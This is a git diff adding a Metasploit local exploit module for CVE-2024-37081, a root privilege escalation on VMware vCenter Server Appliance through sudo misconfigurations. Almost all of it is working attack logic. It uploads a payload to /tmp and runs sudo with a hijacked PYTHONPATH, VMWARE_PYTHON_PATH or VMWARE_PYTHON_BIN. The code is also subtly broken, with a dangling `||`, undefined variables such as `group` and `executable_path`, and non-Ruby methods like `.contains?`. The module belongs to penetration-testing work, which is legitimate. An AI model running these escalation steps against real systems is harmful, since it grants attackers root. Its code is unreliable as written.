diff --git a/modules/exploits/linux/local/vcenter_sudo_lpe.rb b/modules/exploits/linux/local/vcenter_sudo_lpe.rb new file mode 100644 index 000000000000..dd6a4515c891 --- /dev/null +++ b/modules/exploits/linux/local/vcenter_sudo_lpe.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Vcenter + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'vCenter Sudo Privilege Escalation', + 'Description' => %q{ + VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D + contains multiple local privilege escalation vulnerabilities + due to misconfiguration of sudo. An authenticated local user + with non-administrative privileges may exploit these issues + to elevate privileges to root on vCenter Server Appliance. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Matei "Mal" Badanoiu', # discovery + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Auto', {} ], + ], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453'], + [ 'URL', 'https://github.com/mbadanoiu/CVE-2024-37081/blob/main/VMware%20vCenter%20-%20CVE-2024-37081.pdf'], + [ 'CVE', '2024-37081'] + ], + 'DisclosureDate' => '2024-06-18', + 'DefaultTarget' => 0, + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + # force exploit is used to bypass the check command results + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + # Simplify pulling the writable directory variable + def base_dir + datastore['WritableDir'].to_s + end + + def check + vbuild = get_vcenter_build # VMware VirtualCenter 7.0.3 build-19480866 + # we want to try to make this build number Rex::Version friendly. https://rubular.com/r/BNLDjy0C862cdS + # technically we only care about major release 7 and 8, however we'll try to future proof w/ \d instead + return CheckCode::Safe("Unable to determine vcenter build from output: #{vbuild}") unless /(\d\.\d\.\d) build-(\d+)/ =~ vbuild + vbuild_version = Rex::Version.new("#{Regexp.last_match(0)}.#{Regexp.last_match(1)}") + + return CheckCode::Safe("Version not vulnerable: #{vbuild}") + unless (vbuild_version > Rex::Version.new('8.0.0') && vbuild_version < Rex::Version.new('8.0.2.23929136')) || # 8.0 u2d + (vbuild_version > Rex::Version.new('7.0.0')&& vbuild_version < Rex::Version.new('7.0.3.24026615')) || # 7.0 u3r + + vprint_good("Exploitable version detected: #{vbuild_version}") + + user = cmd_exec('whoami').chomp + groups = cmd_exec('groups').split(' ').chomp + if ['infraprofile', 'vpxd', 'sts', 'pod'].contains? user || + ['operator', 'admin'] & group + vprint_good("User is vulnerable") + else + return CheckCode::Safe("User not vulnerable or not in correct group. (#{user}:#{groups})") + end + + CheckCode::Appears("System seems exploitable") + end + + def exploit_operator_group + # for this exploit we abuse get_user_password_status.py as it does a 'import spwd', so if we + # modify the PYTHONPATH and set our payload to spwd.py, we'll get arbitrary execution + vprint_status("Utilizing PYTHONPATH exploitation method for operator group.") + vuln_exe = '/usr/lib/applmgmt/support/scripts/get_user_password_status.py' + + return Failure::NotFound, "Vulnerable script #{vuln_exe} not found" unless file?vuln_exe + + # Upload payload executable + payload_path = "#{base_dir}/spwd.py" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec "echo 'PYTHONPATH=#{base_dir} sudo #{vuln_exe} & exit' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end + + def exploit_pod_user + # for this exploit we abuse install-parametery as it does a 'from appliance...', so if we + # modify the VMWARE_PYTHON_PATH and set our payload to __init__.py, we'll get arbitrary execution + vprint_status("Utilizing VMWARE_PYTHON_PATH exploitation method for pod user.") + mkdir("#{base_dir}/appliance") + payload_path = "#{base_dir}/__init__.py" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec "echo 'VMWARE_PYTHON_PATH=#{base_dir} sudo install-parameter & exit' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end + + def exploit_admin_group + # for this exploit we abuse /bin/dcli, a bash script, as it executes $VMWARE_PYTHON_BIN + # so we modify the VMWARE_PYTHON_BIN, and we'll get arbitrary execution + vprint_status("Utilizing VMWARE_PYTHON_BIN exploitation method for admin group.") + mkdir("#{base_dir}/appliance") + payload_path = "#{base_dir}/__init__.py" + upload_and_chmodx payload_path, generate_payload_exe + register_files_for_cleanup(payload_path) + timeout = 30 + print_status 'Launching exploit...' + output = cmd_exec "echo 'VMWARE_PYTHON_BIN=#{payload_path} sudo /bin/dcli & exit' | #{executable_path}", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end + + def exploit + user = cmd_exec('whoami').chomp + groups = cmd_exec('groups').split(' ').chomp + if user == 'pod' + exploit_pod_user + elsif group.contains? 'operator' + exploit_operator_group + elsif group.contains? 'admin' + exploit_admin_group + end + end +end